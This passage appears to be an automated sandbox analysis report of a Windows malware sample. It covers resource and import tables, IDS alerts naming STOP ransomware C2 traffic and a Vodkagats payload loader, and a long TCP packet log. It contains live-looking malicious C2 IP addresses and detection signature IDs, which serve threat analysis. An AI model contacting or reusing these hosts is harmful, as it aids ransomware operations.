RT_CURSOR	0x3cbc950	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x3cbd1f8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x3ca0a70	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5687633262260128
RT_ICON	0x3ca1918	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5496389891696751
RT_ICON	0x3ca21c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6170520231213873
RT_ICON	0x3ca2728	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.462344398340249
RT_ICON	0x3ca4cd0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48874296435272047
RT_ICON	0x3ca5d78	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49385245901639346
RT_ICON	0x3ca6700	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.449468085106383
RT_ICON	0x3ca6bd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.42217484008528783
RT_ICON	0x3ca7a78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47247292418772563
RT_ICON	0x3ca8320	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5697004608294931
RT_ICON	0x3ca89e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4703757225433526
RT_ICON	0x3ca8f50	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4679460580912863
RT_ICON	0x3cab4f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48334896810506567
RT_ICON	0x3cac5a0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5032786885245901
RT_ICON	0x3cacf28	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5576241134751773
RT_ICON	0x3cad408	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4933368869936034
RT_ICON	0x3cae2b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4693140794223827
RT_ICON	0x3caeb58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4291907514450867
RT_ICON	0x3caf0c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2804979253112033
RT_ICON	0x3cb1668	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.2854127579737336
RT_ICON	0x3cb2710	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.3028688524590164
RT_ICON	0x3cb3098	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.33599290780141844
RT_ICON	0x3cb3568	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.392590618336887
RT_ICON	0x3cb4410	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5803249097472925
RT_ICON	0x3cb4cb8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.613479262672811
RT_ICON	0x3cb5380	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.5606936416184971
RT_ICON	0x3cb58e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Romanian	Romania	0.537655601659751
RT_ICON	0x3cb7e90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Romanian	Romania	0.5959193245778611
RT_ICON	0x3cb8f38	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Romanian	Romania	0.5811475409836065
RT_ICON	0x3cb98c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Romanian	Romania	0.648936170212766
RT_STRING	0x3cbd978	0x2f2	data	Romanian	Romania	0.47877984084880637
RT_STRING	0x3cbdc70	0x2aa	data	Romanian	Romania	0.4941348973607038
RT_STRING	0x3cbdf20	0x4a8	data	Romanian	Romania	0.4538590604026846
RT_STRING	0x3cbe3c8	0x1b0	data	Romanian	Romania	0.5092592592592593
RT_STRING	0x3cbe578	0x2d2	data	Romanian	Romania	0.4903047091412742
RT_STRING	0x3cbe850	0x7da	data	Romanian	Romania	0.41492537313432837
RT_GROUP_CURSOR	0x3cbba78	0x30	data			0.9375
RT_GROUP_CURSOR	0x3cbd760	0x30	data			0.9375
RT_GROUP_ICON	0x3ca6b68	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3cad390	0x76	data	Romanian	Romania	0.6779661016949152
RT_GROUP_ICON	0x3cb9d28	0x76	data	Romanian	Romania	0.6779661016949152
RT_GROUP_ICON	0x3cb3500	0x68	data	Romanian	Romania	0.7115384615384616
RT_VERSION	0x3cbd790	0x1e4	data			0.5371900826446281

Imports

DLL	Import
KERNEL32.dll	GetComputerNameW, CreateHardLinkA, GetTickCount, GetConsoleAliasesA, GetCompressedFileSizeW, EnumTimeFormatsA, GetUserDefaultLangID, FindResourceExA, GetLocaleInfoW, MultiByteToWideChar, GetTempPathW, InterlockedExchange, GetLastError, ChangeTimerQueueTimer, SetLastError, GetThreadLocale, GetProcAddress, LocalCompact, BuildCommDCBW, LoadLibraryA, WriteConsoleA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, SetNamedPipeHandleState, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, FindFirstChangeNotificationA, LoadLibraryExA, SetCalendarInfoA, ReadConsoleInputW, GetWindowsDirectoryW, GetConsoleProcessList, GetVolumeInformationW, SetFileAttributesA, GetSystemDefaultLangID, WriteConsoleW, GetStringTypeW, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, HeapAlloc, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetProcessHeap, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, HeapReAlloc, LCMapStringW, GetConsoleCP, GetConsoleMode, SetFilePointerEx, SetStdHandle, FlushFileBuffers, OutputDebugStringW, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-07:37:05.598520	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49736	80	192.168.2.4	85.11.159.22
04/24/24-07:37:03.288894	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49733	80	192.168.2.4	123.140.161.243
04/24/24-07:37:04.781081	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49734	80	192.168.2.4	85.11.159.22
04/24/24-07:37:22.270266	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49760	80	192.168.2.4	85.11.159.22
04/24/24-07:37:05.598520	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49736	80	192.168.2.4	85.11.159.22
04/24/24-07:37:16.429429	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49749	80	192.168.2.4	85.11.159.22
04/24/24-07:37:10.597638	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49742	80	192.168.2.4	85.11.159.22
04/24/24-07:37:03.288894	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49733	80	192.168.2.4	123.140.161.243

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 07:36:56.855990887 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:56.856038094 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:56.856143951 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:56.867897034 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:56.867918015 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.201653004 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.201814890 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.255122900 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.255194902 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.255542994 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.255613089 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.259658098 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.304116964 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.964638948 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.964757919 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:57.964756012 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.964811087 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.966787100 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:57.966806889 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:59.151546001 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.151596069 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:59.151660919 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.174213886 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.174249887 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:59.505109072 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:59.505198956 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.509265900 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.509277105 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:59.509608030 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:36:59.512892008 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.519723892 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:36:59.564155102 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.058667898 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.058720112 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.058859110 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.152493000 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.152523041 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.296109915 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.296205044 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.296236038 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.296252012 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.296295881 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.296538115 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.296555996 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.486231089 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.486479044 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.491261959 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.491274118 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.491813898 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:00.491873980 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.496072054 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:00.540112972 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:01.273741007 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:01.273895979 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:01.273958921 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:01.290249109 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:01.290290117 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:02.995990992 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.288522005 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.288665056 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.288893938 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.621845961 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755590916 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755613089 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755635023 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755676985 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755712986 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755758047 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755772114 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755794048 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755809069 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755821943 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755831003 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755852938 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755878925 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755882025 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755914927 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755927086 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755959988 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:03.755964041 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:03.755995989 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.047879934 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.047904968 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.047952890 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048027992 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048048973 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048084021 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048130035 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048166990 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048218012 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048252106 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048291922 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048300982 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048326969 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048338890 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048366070 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048372984 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048408985 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048460007 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048496962 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048542023 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048587084 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048613071 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048639059 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048657894 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048685074 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048727989 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048773050 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048844099 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048878908 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048890114 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048914909 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048926115 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.048970938 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.048998117 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.049041986 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.049052954 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.049098969 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.049105883 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.049149036 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.342453957 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.342521906 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.342577934 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.342592955 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.342629910 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.342653036 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.342742920 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.342782974 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.342919111 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.342936993 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.342969894 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.342997074 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343110085 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343136072 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343147993 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343156099 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343163967 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343174934 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343209982 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343278885 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343291998 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343302965 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343333006 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343374014 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343467951 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343482971 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343496084 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343514919 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343556881 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343713999 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343764067 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343914032 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343928099 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.343952894 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.343974113 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344106913 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344124079 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344136000 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344150066 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344173908 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344281912 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344297886 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344310045 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344329119 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344379902 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344464064 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344479084 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344490051 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344502926 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344511032 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344513893 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344528913 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344541073 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344553947 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344563007 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344567060 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344578981 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344590902 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344603062 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344614029 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344615936 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344626904 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344640970 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.344640970 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344681978 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.344702959 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.453783035 CEST	49734	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:04.453793049 CEST	49735	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:04.634516954 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634607077 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634619951 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634640932 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634653091 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634680033 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634697914 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634723902 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634744883 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634759903 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634819031 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634865999 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634886026 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634924889 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634941101 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634954929 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.634984970 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.634999990 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635026932 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635041952 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635070086 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635111094 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635118961 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635149956 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635180950 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635219097 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635266066 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635363102 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635376930 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635389090 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635401964 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635421038 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635427952 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635435104 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635471106 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635509968 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635524988 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635536909 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635551929 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635560989 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635607004 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635607004 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635621071 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635638952 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635647058 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635652065 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635665894 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635680914 CEST	49733	80	192.168.2.4	123.140.161.243
